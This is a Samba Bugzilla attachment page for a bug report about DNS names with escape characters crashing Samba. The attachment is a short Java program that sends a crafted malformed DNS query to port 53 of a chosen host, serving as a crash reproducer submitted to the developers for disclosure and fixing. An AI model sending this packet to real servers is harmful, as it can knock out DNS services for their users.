The Samba-Bugzilla – Attachment 14228 Details for
Bug 13466
[SECURITY Hardening] DNS query with escapes characters in dns name makes samba crashing
Home
|
New
|
Browse
|
Search
|
[?]
|
Reports
|
Requests
|
Help
|
New Account
|
Log In
[x]
|
Forgot Password
Login:
[x]
Java code to reproduce the bug
udp.java (text/x-java), 2.03 KB, created by
Laurent Debomy
on 2018-06-08 09:50:57 UTC
(
hide
)
Description:
Java code to reproduce the bug
Filename:
MIME Type:
Creator:
Laurent Debomy
Created:
2018-06-08 09:50:57 UTC
Size:
2.03 KB
patch
obsolete
>import java.net.DatagramPacket; >import java.net.DatagramSocket; >import java.net.InetAddress; >import java.net.InetSocketAddress; >import java.nio.charset.Charset; >import java.nio.charset.StandardCharsets; >import java.util.Scanner; > >class UdpClient >{ > public static void main (String args[]) throws Exception > { > Scanner scan = new Scanner(System.in); > System.out.print("Enter a hostname: "); > // host name > String hostname = scan.next(); > // socket > DatagramSocket clientSocket = new DatagramSocket(); > InetAddress ipAddress = InetAddress.getByName(hostname); > //String message = "0471001000000"; > byte[] data = { (byte)0x7F, (byte)0xA9, (byte)0x01, (byte)0x00, (byte)0x00, (byte)0x01, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x04, (byte)0x10, (byte)0x11, (byte)0x05, (byte)0xA8, (byte)0x04, (byte)0x72, (byte)0x65, (byte)0x63, (byte)0x62, (byte)0x02, (byte)0x66, (byte)0x72, (byte)0x00, (byte)0x00, (byte)0x01, (byte)0x00, (byte)0x01 }; > // datagram packet > DatagramPacket sendPacket = new DatagramPacket(data, data.length, ipAddress, 53); > // send the packet > clientSocket.send(sendPacket); > // set a receive timeout, 2000 milliseconds > // packet for receive > byte[] rdata = new byte[1024]; > DatagramPacket receivePacket = new DatagramPacket(rdata, rdata.length, ipAddress, 53); > // wait for a response from the server > clientSocket.receive(receivePacket); > System.out.println("Host Name: " + ipAddress.getHostName()); > System.out.println("Canonical Host Name: " + ipAddress.getCanonicalHostName()); > System.out.println("Local Host: " + ipAddress.getLocalHost()); > System.out.println("Loopback Address: " + ipAddress.getLoopbackAddress()); > System.out.println("IPv4: " + ipAddress.getHostAddress()); > String serverMessage = new String(receivePacket.getData(), 0, receivePacket.getLength()); > System.out.println("FROM SERVER: " + serverMessage); > } >}
You cannot view the attachment while viewing its details because your browser does not support IFRAMEs.
View the attachment on a separate page
.
View Attachment As Raw
Actions:
View
Attachments on
bug 13466
: 14228 |
14229
|
14230
|
14288
|
14294